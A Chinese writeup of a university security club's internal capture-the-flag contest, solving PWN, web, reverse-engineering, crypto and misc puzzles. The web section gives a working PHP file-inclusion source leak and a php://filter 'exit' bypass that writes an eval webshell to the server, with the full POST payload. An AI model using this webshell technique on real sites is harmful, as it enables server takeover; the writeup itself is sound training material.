信安协会内部赛Writeup

原创

WustHandy 于 2020-05-03 13:58:11 发布 1010 收藏 2

分类专栏： WriteUp 文章标签： python php 信息安全 web base64

WUST第一次内部赛 Writeup

PWN

just_run

nc之后ls，cat flag.txt

2048

利用了bug。。一次输入很多个wasd用了几分钟刷分到了一万分

WEB

签到题

GET传参ais=123，POST传参ais=123，BP抓包把Referer改成https://www.baidu.com，加上Client-IP: 127.0.0.1

PHP是世界上最好的语言

在url最后加上/index.php，F12发现了提示

```
<!--URL:/?file=-->
```

考点是文件包含

/index.php?file=php://filter/read=convert.base64-encode/resource=./index.php

PCFET0NUWVBFIGh0bWw+DQo8aHRtbD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Ij4NCjxoZWFkPg0KPHRpdGxlPuWWRpuWRpuWRpuWF
/mmK/lj4jmnlnku4DkuYjnlkjlkaJ+fn5+fn5+PC9oMj4NCjwvZGl2Pg0KPD9waHAgLy9sb29rOiAgdXBsb2FkLnBocA0KCWhlYWRlcignaGludDogWm1sc1pTQnBibU5zZFdSbE9pQXZQMlpwYkdVPScpOw0KICA
/Pg0KPC9ib2R5Pg0KPC9odG1sPg==

base64解码

```
<!DOCTYPE html>
<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<head>
<title>呦呦呦，你在这</title>
<style>
        div{
                float: left;
        }
</style>
</head>
<body>
<!--

        URL:/?file=

-->

<div id='left'><img src="bg.jpg" height="70%" width="70%"></div>
<div id='right'>
        <h1>呦呦呦，你居然找到我了！！！！</h1>
        <h2>    可是又有什么用呢~~~~~~~</h2>
</div>
<?php //look:  upload.php
        header('hint: ZmlsZSBpbmNsdWRlOiAvP2ZpbGU=');
    $file = @$_GET['file'];
    if(isset($file)){
    include($file);
     }
     ?>
</body>
</html>
```


/index.php?

file=php://filter/read=convert.base64-encode/resource=./upload.php

PD9waHANCiRleGl0PSI8P3BocCBleGl0OyAvL0kganVzdCB3YW50IHlvdSB0byB1bmRlcnN0YW5kIHRoZSBwcmluY2lwbGUgPz4iOw0KQCRleGl0Lj0kX1BPU1RbJ2RlYXRoJ107DQoNCkAkZmlsZW5hbWUgPS

base64解码

```
<?php
$exit="<?php exit; //I just want you to understand the principle ?>";
@$exit.=$_POST['death'];

@$filename = $_POST['filename'];


if(!isset($filename)){
   @file_put_contents($filename, "you should set something");
}

else{
   @file_put_contents($filename,$exit);

}
?>
```


死亡exit
找到了一篇博客

先看`$c="<?php exit;?>";`这句话会使php文件直接退出，不会执行后续代码，所以我们的目的是绕过这句话

这里的`$_POST['filename']`是可以控制协议的，我们即可使用 php://filter协议的base64-decode方法来绕过exit这句话

我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中，字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略，所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。“phpexit”一共7个字符，因为base64算法解码时是4个byte一组，所以给他增加1个“a”一共8个字符。这样，“ phpexita”被正常解码，而后面我们传入的webshell的base64内容也被正常解码。结果就是`<?php exit; ?>`没有了。

所以说我POST`c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTsgPz4=`

而这道题

把?>用//注释掉了，所以前面要补3个a才能凑成4的倍数
先把一句话木马用base64编码

```
<?php
eval($_POST['shell']);
?>
```

编码 base64

PD9waHAKZXZhbCgkX1BPU1RbJ3NoZWxsJ10pOwo/Pg==

在/upload.php页面用POST方式构造如下payload，将一句话木马写入q.php
death=aaaPD9waHAKZXZhbCgkX1BPU1RbJ3NoZWxsJ10pOwo/Pg==&filename=php://filter/write=convert.base64-decode/resource=q.php
用蚁剑连接http://148.70.205.134:10001/q.php，密码是shell，在根目录找到flag

RE

ez_py

在线pyc反编译，在得到的原py文件最后加上一行print(encode(message))

baby_re

放进ida

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int16 v4; // [rsp+10h] [rbp-30h]
  __int16 v5; // [rsp+12h] [rbp-2Eh]
  int v6; // [rsp+14h] [rbp-2Ch]
  __int64 v7; // [rsp+18h] [rbp-28h]
  unsigned __int64 v8; // [rsp+38h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  v4 = 0;
  v5 = 0;
  v6 = 0;
  memset(&v7, 0, 0x20uLL);
  printf("please input your flag:", argv, &v7, argv);
  __isoc99_scanf("%s", &v4);
  if ( (unsigned int)check((__int64)&v4) )
    puts("Wow, your flag is right!");
  else
    puts("Maybe you need to try again~");
  return 0;
}
```

点开check函数

```
signed __int64 __fastcall check(__int64 a1)
{
  signed int i; // [rsp+18h] [rbp-B8h]
  signed int j; // [rsp+1Ch] [rbp-B4h]
  int v4[42]; // [rsp+20h] [rbp-B0h]
  unsigned __int64 v5; // [rsp+C8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; i <= 29; ++i )
  {
    v4[i] = 8 * *(char *)(i + a1);
    v4[i] += 16;
    v4[i] ^= 0x10u;
  }
  for ( j = 0; j <= 29; ++j )
  {
    if ( flag[j] != v4[j] )
      return 0LL;
  }
  return 1LL;
}
```


可知check函数里的a1是主函数输入的字符串v4，是要通过check函数里的数组v4逆向求得的，而数组v4和数组flag相等，点进flag，因为是int类型，占4个字节，所以通过按键盘的d键把所有的db都转化为dd形式

```
.data:0000000000601060 flag            dd 350h
.data:0000000000601064                 dd 360h
.data:0000000000601068                 dd 308h
.data:000000000060106C                 dd 358h
.data:0000000000601070                 dd 3F8h
.data:0000000000601074                 dd 2B0h
.data:0000000000601078                 dd 328h
.data:000000000060107C                 dd 318h
.data:0000000000601080                 dd 188h
.data:0000000000601084                 dd 1A8h
.data:0000000000601088                 dd 318h
.data:000000000060108C                 dd 2B8h
.data:0000000000601090                 dd 180h
.data:0000000000601094                 dd 398h
.data:0000000000601098                 dd 398h
.data:000000000060109C                 dd 398h
.data:00000000006010A0                 dd 398h
.data:00000000006010A4                 dd 398h
.data:00000000006010A8                 dd 398h
.data:00000000006010AC                 dd 398h
.data:00000000006010B0                 dd 398h
.data:00000000006010B4                 dd 398h
.data:00000000006010B8                 dd 318h
.data:00000000006010BC                 dd 2B8h
.data:00000000006010C0                 dd 348h
.data:00000000006010C4                 dd 368h
.data:00000000006010C8                 dd 380h
.data:00000000006010CC                 dd 360h
.data:00000000006010D0                 dd 328h
.data:00000000006010D4                 dd 3E8h
```


写个脚本逆向求a1

```
#include<bits/stdc++.h>
using namespace std;
int main()
{
 unsigned int a=16;
 char a1[30];
 int i;
 unsigned long v4[30]={0x350,0x360,0x308,0x358,0x3F8,0x2B0,0x328,0x318,0x188,0x1A8,0x318,0x2B8,0x180,0x398,0x398
,0x398,0x398,0x398,0x398,0x398,0x398,0x318,0x2B8,0x348,0x368,0x380,0x360,0x328,0x3E8};
 for ( i = 0; i <= 30; ++i )
 {
  v4[i]^=a;
  v4[i]-=16;
  a1[i]=(char)(v4[i]/8);
 }
 for ( i = 0; i <= 30; ++i )
     cout<<a1[i];
 return 0;
}
```

CRYPTO

base64

在线base64转换图片得到压缩包的解压密码

兔老大

在线rabbit解密，密钥是rabbit，再base32解码

easy_caesar

写脚本把每个字符都-3移位，再base64解码

MISC

Where_am_I

用PS打开图片，用颜色取样器工具得到两块图片的RGB值，对应北纬和西经值，进入谷歌地图搜索
40°41′21″N 74°02′40″W得到地点为自由女神像

古老的计算机

用winhex或HXD打开图片，最后有一段这个

在线敲击码解密，再写脚本转换成二进制01，再在线二进制转字符串

double_flag

用HXD打开压缩包，在开头加上50 4B 03 04，解压出另一张图片，用Beyond Compare对比两张图片